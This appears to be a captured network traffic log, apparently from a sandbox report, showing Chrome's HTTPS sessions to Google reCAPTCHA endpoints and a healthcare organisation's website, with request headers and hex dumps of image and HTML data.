2024-04-24 12:45:24 UTC	1255	IN	Data Raw: e7 9f 55 f1 08 59 2e 23 45 8a 3b 97 48 d8 a9 66 c3 65 40 63 c0 1c 9c f5 18 34 2a d6 bc 57 f5 a9 3e ca 2a 1f d7 74 26 87 36 86 25 be 1a 67 97 71 71 25 cf 99 75 e6 38 6c 3e d5 5c 00 07 4c 2f 07 f9 e6 9e 0e a2 91 de ed d4 14 bb c8 d2 db 29 e1 63 dc 80 05 6c 8e e4 31 e9 56 f4 ff 00 0e 58 e9 62 76 b0 7b 88 e1 67 72 ca db 48 88 8c 0e b8 ce 07 27 93 dc 7b d4 52 e9 3f bd 9d cc b7 5e 6e 4a 94 2d 80 07 1c ed 18 ea a4 8e 3f 13 51 0a af 4e 6d c7 0a 6e 2f 4d 3f e1 c1 ce ad 71 0d bc 2f 34 37 2b f2 f9 9b 93 60 61 90 1c 03 83 86 23 a5 4c cd 0f da 20 6f b3 1b 98 a3 65 56 0d 2e 43 38 1d 02 e3 91 c0 1d 7f 88 f4 ac 5b cd 1f c5 b6 f7 33 dc d8 6a b6 5a 85 bb 29 22 d2 68 b6 3a 82 06 ef 9c 67 b8 cf 38 fb d5 9d e1 e9 7c 41 6f a8 de 4f af 5a de 80 d3 8b 88 c2 a1 91 23 04 11 b4 01 Data Ascii: UY.#E;Hfe@c4W>t&6%gqq%u8l>\L/)cl1VXbv{grH'{R?^nJ-?QNmn/M?q/47+`a#L oeV.C8[3jZ)"h:g8\|AoOZ#
2024-04-24 12:45:24 UTC	1255	IN	Data Raw: 73 6b eb e9 f2 7f e4 74 e1 55 4e 7f dd db 9b b3 ba d3 6e ab cb 6e 9b 1e e1 e5 48 f2 34 4b 72 ea 48 24 0f b4 01 82 59 7a 16 39 3b 71 90 7b e0 0e 08 a5 06 e6 12 d7 b3 cb 74 8b 95 2d b2 45 fb db 8e 3e 51 d7 2a 76 f0 78 23 da bc b0 db dd e9 97 91 45 7b 7b 76 93 2e d6 69 1a e4 95 85 76 e7 19 1f 74 e7 20 0d d9 e3 04 8c 57 7d e1 cf 14 69 77 16 92 35 eb 49 74 f1 a1 22 40 01 95 48 1b 90 12 7a a9 39 3d 88 3c 1f 6e 7c 4d 29 45 5e 3a af c7 fc 85 0c 42 6d c6 6a df af 7f f8 73 61 ad ee 19 e5 29 77 74 db 5c 48 25 54 47 2d 92 70 58 f1 9f bc c0 f6 e9 dc f3 19 93 51 87 75 db df 94 92 20 ee 4c d6 e4 1c f2 76 91 bb d3 8c 67 b9 f4 ad ab 6b 27 cd bb c4 b3 4c d2 36 f8 83 02 18 a9 61 9d e4 f2 38 c7 6e 40 cf 6c 55 75 b4 65 58 a1 da d8 4f 97 ca 56 c2 46 39 04 67 20 93 90 47 5c 0e Data Ascii: sktUNnnH4KrH$Yz9;q{t-E>Q*vx#E{{v.ivt W}iw5It"@Hz9=<n\|M)E^:Bmjsa)wt\H%TG-pXQu Lvgk'L6a8n@lUueXOVF9g G\
2024-04-24 12:45:24 UTC	1255	IN	Data Raw: 53 84 0c 0e e0 14 93 eb c9 c7 ff 00 aa a3 17 d1 2a 87 bd b2 44 9a 44 04 15 52 09 5c 12 32 7e 84 fe 5d aa 76 be 9e 46 dc 2e 64 2a ac 4e dd db d7 20 03 c0 3f 77 9c f7 ed 51 3a 5c b4 91 14 9f 68 f9 94 ac 87 21 4f 72 87 d7 fd 91 fa 51 ee bf eb fa d3 41 72 a4 ff 00 af 5f f8 7f 31 ea 60 9a 02 22 51 24 61 88 cb b6 e5 2a 7a f0 73 e9 81 f4 e3 a5 50 9f c3 9e 1b 6b 8f b4 b6 85 a7 3b 33 12 b3 f9 0a 8e 7b 60 b1 04 fe 9c 92 3b d3 da e2 47 96 57 61 31 ca b6 d6 24 70 39 3e e7 39 ed ce 31 53 2d c2 cb 34 52 12 8a be 61 8d d9 1b bf 50 cc df f0 1e fd 78 aa b4 5e af cc 1e 9b ff 00 5f d7 e7 d0 e7 35 4f 04 78 77 c8 f3 97 c3 b0 fd b5 09 65 68 e6 70 a1 b2 b8 6d ea 4e 0e 33 8c 0f c2 bc 4f 5f 92 48 f5 29 cc d0 26 41 19 53 0f fa b2 70 df 7d 72 70 31 c7 5e 0f b5 7d 24 66 16 f3 80 58 Data Ascii: SDDR\2~]vF.dN ?wQ:\h!OrQAr_1`"Q$a*zsPk;3{`;GWa1$p9>91S-4RaPx^_5OxwehpmN3O_H)&ASp}rp1^}$fX
2024-04-24 12:45:24 UTC	1255	IN	Data Raw: 9e eb 48 2f 26 e2 42 49 1e f6 c9 e7 2c 14 81 db f4 3f 5a f3 8f 17 78 23 57 f0 05 a5 97 89 3e c3 15 94 09 20 41 e6 4f e7 4b e6 9c 36 7e 52 15 49 e7 a0 e3 a6 7a 56 df c3 7f 11 5c c7 a2 48 6e 6e ae ae a5 13 34 cc 43 9d eb 92 08 2c 3b e4 fc c7 ea 40 ea 73 e3 e3 69 c2 b7 bc 96 bf d7 fc 03 b7 08 ed d7 45 d5 9d 4d c5 fa 35 ad c9 9a 12 a8 db 84 92 2c 7b 19 b1 80 3b e4 f4 c9 e0 73 f5 e6 bd c4 b6 77 8b e5 cf 31 8d 5b 05 59 31 8d 99 63 f3 1c 70 43 28 ff 00 be 8d 5e 9f 5c b5 99 15 1e ea 50 8a 4b 30 9a 25 27 6b 20 e4 1c e4 1e 07 b7 b1 c7 23 3e 97 73 67 8b 7b 4b 4b 80 0b 3e 55 da 26 0c 0e 07 38 3d 0b 13 d4 1c 63 ad 79 92 a1 35 6b 6d e6 76 c6 6d d9 bf eb f0 30 a5 b5 16 e2 e6 e2 de 4b 37 2a 4c 88 6e 19 72 85 88 1d 08 db ce d5 ea 7f c6 ad 6a 32 ea f1 69 f1 49 0c 93 3a f9 Data Ascii: H/&BI,?Zx#W> AOK6~RIzV\Hnn4C,;@siEM5,{;sw1[Y1cpC(^\PK0%'k #>sg{KK>U&8=cy5kmvm0K7*Lnrj2iI:
2024-04-24 12:45:24 UTC	1255	IN	Data Raw: a5 94 e0 93 93 bf 1d 4f 1d cf a9 1e 95 f5 0b a9 11 a4 30 20 e5 84 9e 59 60 0a 77 ce 72 47 be 71 8c 03 de be 6e be 96 da 6b 18 9a 68 fe d3 07 ca 59 54 65 9f b6 dd 87 a1 e0 f7 c7 5f 7a ce b3 da 4b 55 fd 7f 5a ef dc 24 d3 8b 5f e5 fd 6a bf 52 96 8f 69 71 67 67 1c 33 5d 46 64 8a 72 ce 82 62 92 12 41 0e d9 c1 e3 81 c9 07 a8 a7 5f de c7 6e 5c f9 72 47 74 cc 15 c2 72 51 78 6d b8 c7 39 27 3d 73 8e 73 cd 6e 42 b3 3e 8a 42 34 31 6e 25 9d d6 55 2b b7 3b b3 b0 f2 47 63 93 9e 05 64 c5 6c c9 ab bc fb e3 9b cc 9d a3 dd 1b 2e 42 b1 e0 e0 e4 8c 9d c3 27 8c 63 9e 6b 25 55 54 bb 93 ef d5 6b ae dd ad f7 b1 42 9a 70 bc 9d d7 e9 f7 68 ff 00 ab 6c 9d 3d 55 64 6b 0f 32 ea 43 12 ac 91 49 12 ab 33 2b 29 46 ee dc 2e 41 c1 3c 01 81 eb 50 68 d7 30 de 6a 53 c4 65 92 de f2 43 c3 16 5d Data Ascii: O0 Y`wrGqnkhYTe_zKUZ$_jRiqgg3]FdrbA_n\rGtrQxm9'=ssnB>B41n%U+;Gcdl.B'ck%UTkBphl=Udk2CI3+)F.A<Ph0jSeC]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.4	50188	142.250.141.103	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:24 UTC	842	OUT	GET /recaptcha/api2/payload?p=06AFcWeA6HqRKdznOsNWnGT6s2R1vIGYXXOMOTlBKVjMTyP_UpaucCrkDbZGEHIUyXYHmbt5PY6GL53FBaGX90hGIy88iXirvHC4Kd7ciUjQNNVZIcDdHqGWfQf2mQwV_EVgeF0QHIwndFlJ7ZkvDUs6iuRrq7hrL6YNxAD5htAZhHK98PzxZqpHgnvF1gsGyPgW9nM5hejO8Fy7-zO0SvynECArkwhxvBXw&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E
2024-04-24 12:45:25 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Wed, 24 Apr 2024 12:45:25 GMT Date: Wed, 24 Apr 2024 12:45:25 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:45:25 UTC	6	IN	Data Raw: 37 36 32 46 0d 0a Data Ascii: 762F
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C"}!1AQa"q2
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: 99 c6 d3 9c d7 62 da 5c 58 e1 69 53 48 8f 6e fc 73 55 ed 11 9b 47 33 17 da b1 92 31 53 46 d3 87 1c fc bd f8 ae 85 74 f4 e9 8a 99 74 e8 c2 e0 ae 6b 37 2b 92 91 8d f6 c0 b1 6d 03 27 d6 a9 f9 d2 7d a5 64 66 ca d6 fc d6 11 a8 ce d1 59 5a a2 c7 04 79 db 8a 2e cd e2 ec 46 b7 8e 5c 83 c0 3d 2a 3b 92 c5 14 81 f3 13 54 64 be 8d 70 71 44 da 82 c9 b7 1d ab 44 6b cd a1 7a de d2 49 58 16 5e 2b a3 d1 d1 20 70 00 cb 62 b9 7b 2d 40 82 06 6b 72 d6 f1 54 6f cf 34 49 5c ca 4e e7 44 24 41 d7 83 4d 6b a3 f7 41 e2 b1 0e a0 0f 7a 45 bd cb 63 35 2a 36 33 b9 a7 77 7d c6 c5 39 35 97 67 0b 4b 7e 19 86 0e 78 a2 37 12 ca c7 d2 a7 d1 1b cc d4 70 7b 1a b6 84 f4 36 c5 a6 4f cc 31 4a 6d 76 fd d1 5a 45 06 68 08 2a 1a 16 e5 0f b3 3f f7 4d 15 7a 8a 92 8f 58 8d 22 45 dc 41 a6 5c f9 73 59 c8 Data Ascii: b\XiSHnsUG31SFttk7+m'}dfYZy.F\=;TdpqDDkzIX^+ pb{-@krTo4I\ND$AMkAzEc563w}95gK~x7p{6O1JmvZEh*?MzX"EA\sY
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: dc ab 9b 49 7a ff 00 74 ff 00 85 61 37 a9 a5 92 56 2d c2 0a 32 0c 1e 45 6a 6d ca 0a d3 4d 06 fa 44 8f 6d 9c 87 68 c1 f9 4f f8 56 9d a7 86 b5 06 03 fd 0e 4f c8 d6 0d 12 d2 39 db 68 f0 4f 15 36 c1 e9 5d 54 7e 11 d5 1f ee 59 c9 f9 1a b1 17 82 35 67 eb 6b 27 e4 6a 2c 2d 0e 3e 35 01 b3 8a c7 f1 14 8b c0 c5 7a 82 78 03 57 6f b9 6a f9 fa 56 7e a5 f0 bf 5c 9c e7 ec 6f f9 7f f5 aa e0 8c db 3c ce c6 dc b1 57 03 8a b4 2d cb be 31 5e 93 a6 fc 2e d7 7c bf 2b ec ae a4 f7 c7 ff 00 5a b5 ed 3e 10 eb d2 75 8c 8f c3 ff 00 ad 5a ca 01 16 8f 20 93 4f f6 aa b2 69 ce 09 2b 5e f3 0f c1 4d 6d dd 77 03 8c f2 2a db fc 0d d4 3f b8 6a 1a 66 aa 48 f9 f7 4e 85 e3 9c 6e f5 ae 9a 14 07 1c 57 ab 8f 81 7a 87 98 a4 a1 1c 8e 6b a3 83 e0 94 c0 0f de 8e 95 36 b9 5c f1 ea 78 53 44 31 4d f2 c5 Data Ascii: Izta7V-2EjmMDmhOVO9hO6]T~Y5gk'j,->5zxWojV~\o<W-1^.\|+Z>uZ Oi+^Mmw*?jfHNnWzk6\xSD1M
2024-04-24 12:45:25 UTC	333	IN	Data Raw: 2b 1d 2a f9 c4 ca 26 39 c1 cf 34 94 6c 44 ae 79 af ed 2d ae 9b ef 13 0b 62 72 91 7c b8 af 1e d5 a0 26 c2 59 14 60 11 5d 0f 8c 75 11 ad 78 8e e2 e5 99 99 4b 92 09 ac 1d 72 4c 58 3a ae 71 8a 89 1d 34 96 9a 9c 14 05 be d0 eb ef 56 da 33 18 0e dd eb 30 b6 db 86 3b b0 73 56 7e d9 88 f6 b1 cf d6 92 1c 96 a2 6a 2e 24 4d a2 b3 93 83 b6 ad 33 ee c9 c5 53 79 31 37 4a 69 89 22 75 35 21 1b 97 15 12 38 23 a5 45 3b 3a 82 41 3c 55 26 5a 48 96 79 0a e1 2b a2 f0 4b 95 9c 57 31 29 66 45 3b 79 ae a7 c1 64 19 97 81 9c d3 6c ce 47 7d 14 84 9a 91 98 9a 8e 21 b1 8b b6 31 55 a4 ba 89 ee 36 ef c7 3d ab 16 88 45 bd 92 fa 9a 29 01 18 fb e6 8a ab 0c f1 15 0c 5b 0b 9a b0 8a c3 86 eb 51 2b 6d 39 5e 2a c4 64 bc 7b 89 c9 ae 96 f4 0b 5c 7a 0a 9e 33 b5 48 aa c9 bb 35 38 19 15 8c ae c8 7a Data Ascii: +&94lDy-br\|&Y`]uxKrLX:q4V30;sV~j.$M3Sy17Ji"u5!8#E;:A<U&ZHy+KW1)fE;ydlG}!1U6=E)[Q+m9^d{\z3H58z
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: 61 93 52 88 8e 0f 15 a2 35 8b b9 05 19 c1 07 d2 95 d1 96 9d 1e dd c3 23 3c d5 a2 ef 63 a7 f0 1d 81 d5 35 eb 58 e3 5c 92 e0 1f ce be fc f8 75 a4 c3 a1 78 62 da 2f 95 37 20 27 b7 6a f8 17 c1 fa a3 69 1a 8a dd 45 85 65 39 15 e9 37 7f 18 bc 4f 24 49 0a 5d 9f 29 46 00 dd 56 a3 cc 67 3a 92 96 c7 da 7e 7c 39 cf 9b 1f e7 41 bb b7 1d 67 8f f3 af 87 0f c5 9f 12 19 31 f6 e6 03 fd ea 82 7f 8a 5e 25 df 91 7e f8 ff 00 7a a9 d1 b7 51 45 48 fb 86 e3 58 d3 a0 ff 00 59 75 18 fc 6a 11 e2 3d 20 f4 bc 8f f3 af 86 6e 3e 22 6b 93 e7 cd d4 24 39 ed ba aa 1f 1c 6a ff 00 c3 7b 27 fd f5 52 e9 2e e5 da 47 dd cf e2 5d 15 4e 1a f2 3c fd 6a 27 f1 66 86 bd 6f 63 fc eb e0 f9 3c 65 ad b3 16 fb 74 98 3f ed 1a 8c f8 c3 55 fe 2b a7 3f f0 23 4b d9 93 cb 36 7d d1 79 e3 cf 0d db 36 d9 2f 94 1c Data Ascii: aR5#<c5X\uxb/7 'jiEe97O$I])FVg:~\|9Ag1^%~zQEHXYuj= n>"k$9j{'R.G]N<j'foc<et?U+?#K6}y6/
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: 9f 52 d0 14 f1 71 1e 3e b5 0b ea fe 1e 1d 66 8f f3 aa 75 5a 2a 32 97 63 ca 23 f0 13 9e 58 12 7e 95 6a 1f 01 7f b1 5e 8b 2e bd a0 23 e1 66 4c 7d 6a 07 f1 3e 86 9d 26 4f ce a1 d5 65 5a 6f a1 c4 af 81 a3 4e 1a 3c fe 14 f5 f0 44 3f f3 cb f4 ae ba 5f 18 e8 b1 f4 74 6a 8d 7c 6f a3 e3 24 ad 66 ea 48 a4 a5 d8 e6 e0 f0 3c 1b 8f ee bf 4a 98 78 26 01 ff 00 2c 87 e5 5a 97 1f 10 34 b4 3f 26 d3 f4 aa 72 fc 42 b4 3f 71 45 25 39 77 1f b3 6f 52 24 f0 6c 20 fc b0 86 3e 98 a9 93 c1 f1 0f f9 74 15 51 fe 20 28 e5 70 2a bc bf 11 19 7a 1a 7c f2 ee 43 83 36 62 f0 9c 5b 87 fa 28 06 ac 2f 85 23 1f f2 ee bf a5 72 8f f1 1e 76 3b 53 83 50 c9 f1 0e f8 0e 1e 9a 93 ee 4f 23 67 6c be 19 89 79 16 eb 91 f4 a9 17 40 1d e0 51 f9 57 9e b7 c4 4d 4c 9c 2b f2 7a 54 0f e3 ed 6c b6 32 71 4e ef b9 Data Ascii: Rq>fuZ2c#X~j^.#fL}j>&OeZoN<D?_tj\|o$fH<Jx&,Z4?&rB?qE%9woR$l >tQ (pz\|C6b[(/#rv;SPO#gly@QWML+zTl2qN
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: 52 a7 87 ae 33 f3 02 6b e8 c9 7c 1f a3 c2 81 a4 6d 83 b9 a6 c1 e1 8d 16 47 db 0c 88 e3 eb 58 cb 34 be c4 4a 29 6e 7c f6 9e 1e 93 3c 21 cf d2 a5 5f 0d ce df f2 cc fe 55 f4 34 be 1a d1 ec ff 00 79 36 c0 07 ad 59 83 42 d1 de 01 34 21 19 7b d2 59 a3 b5 c4 a1 d8 f9 d0 78 52 73 82 23 6c fb 0a 99 3c 1f 78 79 f2 e4 fc ab e8 01 16 80 b3 18 09 8c 3f 6f ad 58 bb b7 d2 ec 23 0f 70 63 55 61 f2 9c d3 fe d1 9c b6 2d 68 ec 7c f9 1f 83 af 1b fe 59 49 f9 55 84 f0 5d e9 ff 00 97 69 07 e1 5e de da 9e 85 0c 45 d5 a2 2e 3a 0c d4 31 f8 9f 48 21 8e d8 c6 2b 27 98 d4 be 87 47 b1 9f 44 78 f2 78 16 fc 8e 20 93 f2 a7 49 e0 6b d8 c8 f2 ed 8f be 56 bd 75 7c 59 a6 97 0b f2 00 7d 0d 3f 58 f1 3d 8d b5 b0 74 11 b1 6f 7a b5 8a ad 55 e8 67 5a 9c e0 b5 3c 5a f3 c3 cf 6c bb 27 40 a7 e9 51 da Data Ascii: R3k\|mGX4J)n\|<!_U4y6YB4!{YxRs#l<xy?oX#pcUa-h\|YIU]i^E.:1H!+'GDxx IkVu\|Y}?X=tozUgZ<Zl'@Q
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: b7 e1 5d f5 b3 69 66 02 c0 38 5f 4e b5 9e 2a 82 50 b9 8e 2e 9c 54 53 39 5f 89 7e 29 ba 5b e9 2c e0 dc 83 3d 6b 13 c1 ba f5 d2 ea 51 c5 e6 b3 33 37 22 a2 f8 a5 70 cd e2 16 8e 24 c1 07 9e 3a d6 5e 83 75 1d 85 e2 dc 14 f9 85 6b 84 c2 c6 74 ee d9 bd 2c 34 27 4a ec f4 1f 89 7a b3 c3 14 08 65 2a ce 39 00 d5 bf 87 7a b2 5c e9 6f 6b 2c 84 b9 1c 57 9d 78 bf 53 93 58 95 1b 3c 8e 95 77 c1 97 b2 69 da 94 66 41 f2 0e b5 10 c2 a7 75 71 2c 24 5c 6e 89 bc 56 f3 d8 f8 80 91 33 0f 9b 22 ab f8 8b c4 53 ea 90 45 6e 26 60 63 18 a8 be 23 6a 0b 77 ac 2c d6 fc 8e e0 57 39 13 4a f7 01 82 95 07 ad 76 d2 a1 4e 0b 53 b3 0d 84 a5 6b c8 db 30 ca 6c 7e d2 d2 b7 1c 54 96 d6 ee fa 7c 93 07 3d 3d 6a 59 6e 13 fb 28 5b ed e4 f7 a8 e1 bc 8e da c1 ed c0 de c6 b5 54 69 b9 68 4c ea 52 85 cc cb Data Ascii: ]if8_NP.TS9_~)[,=kQ37"p$:^ukt,4'Jze9z\ok,WxSX<wifAuq,$\nV3"SEn&`c#jw,W9JvNSk0l~T\|==jYn([TihLR
2024-04-24 12:45:25 UTC	1255	IN	Data Raw: 7d b4 e9 7c 6b 6f 21 1b 2d 48 fc 2a e3 42 b2 e8 4a cd 4f 2b 6f 06 eb 33 5f bc a6 dd 87 39 e9 5e 87 f0 db c3 b7 96 73 97 9d 18 2e 39 ad 47 f1 64 45 14 c5 6c 43 7f 17 15 08 f1 83 c7 91 1c 24 67 da 95 6c 1d 5a 8b 63 3a d8 e5 56 c6 4f 8f 7c 11 36 a5 7e d7 76 eb 83 9e 4d 63 59 fc 34 b8 b8 84 97 7c 30 ae ab fe 12 9b c9 15 94 af 06 ab af 88 af 23 cf de e7 d2 9d 0c 1d 68 2b 58 af ed 0e 58 da 2c c7 d3 3e 19 48 24 3e 6c 83 03 d6 9f 2f c3 b9 fe d5 91 30 08 3b e6 b5 17 c4 d7 2a 0e e2 dc fa 53 0e bf 77 30 da 9b c0 f7 ab 8e 06 b2 96 c3 fe d2 69 59 14 a2 f8 63 1c b2 96 92 e0 1c fa 9a b5 27 c3 2b 68 d0 05 95 7f 3a 49 b5 ab d8 c0 55 67 cf 7e 69 0e b5 7f 20 e2 46 18 f5 35 ac b0 15 59 8c f3 3a 8b 44 4b ff 00 0a fa c2 38 71 35 ca 83 db 9a e7 75 cf 0f d9 69 97 31 5a db e2 79 Data Ascii: }\|ko!-HBJO+o3_9^s.9GdElC$glZc:VO\|6~vMcY4\|0#h+XX,>H$>l/0;Sw0iYc'+h:IUg~i F5Y:DK8q5ui1Zy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.4	50189	142.250.141.103	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:24 UTC	610	OUT	GET /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6df3iLGsJeeL1ZhHsDkSUGdkAxFQ0QUTQ5TeldRivfX23JUPR2AxDr3G7Qouv7-NQQVq71Tl6HC3imi85E
2024-04-24 12:45:25 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Wed, 24 Apr 2024 12:45:25 GMT Expires: Wed, 24 Apr 2024 12:45:25 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:25 UTC	244	IN	Data Raw: 65 65 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 21 2d 2d 20 47 53 45 20 44 65 66 61 75 6c 74 20 45 72 72 6f 72 20 2d 2d 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: ee<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">... GSE Default Error --><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-04-24 12:45:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.4	50190	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:25 UTC	806	OUT	GET /services HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962715.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:26 UTC	664	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 154611 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding x-powered-by: WP Engine Link: <https://valleyprohealth.org/wp-json/>; rel="https://api.w.org/" Link: <https://valleyprohealth.org/wp-json/wp/v2/pages/1451>; rel="alternate"; type="application/json" Link: <https://valleyprohealth.org/?p=1451>; rel=shortlink X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 1 X-Cache-Group: normal
2024-04-24 12:45:26 UTC	15720	IN	Data Raw: 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 73 74 79 6c 65 3d 22 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 20 73 6d 6f 6f 74 68 3b 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 77 2c 20 64 2c 20 73 2c 20 6c 2c 20 69 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 5b 6c 5d 20 3d 20 77 5b 6c 5d 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 5b 6c 5d 2e 70 75 73 68 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 67 74 6d 2e 73 74 61 72 74 27 3a 20 6e 65 77 20 44 61 74 65 28 29 2e 67 65 Data Ascii: <!doctype html><html lang="en-US" style="scroll-behavior: smooth;"><head> ... Google Tag Manager --> <script> (function(w, d, s, l, i) { w[l] = w[l] \|\| []; w[l].push({ 'gtm.start': new Date().ge
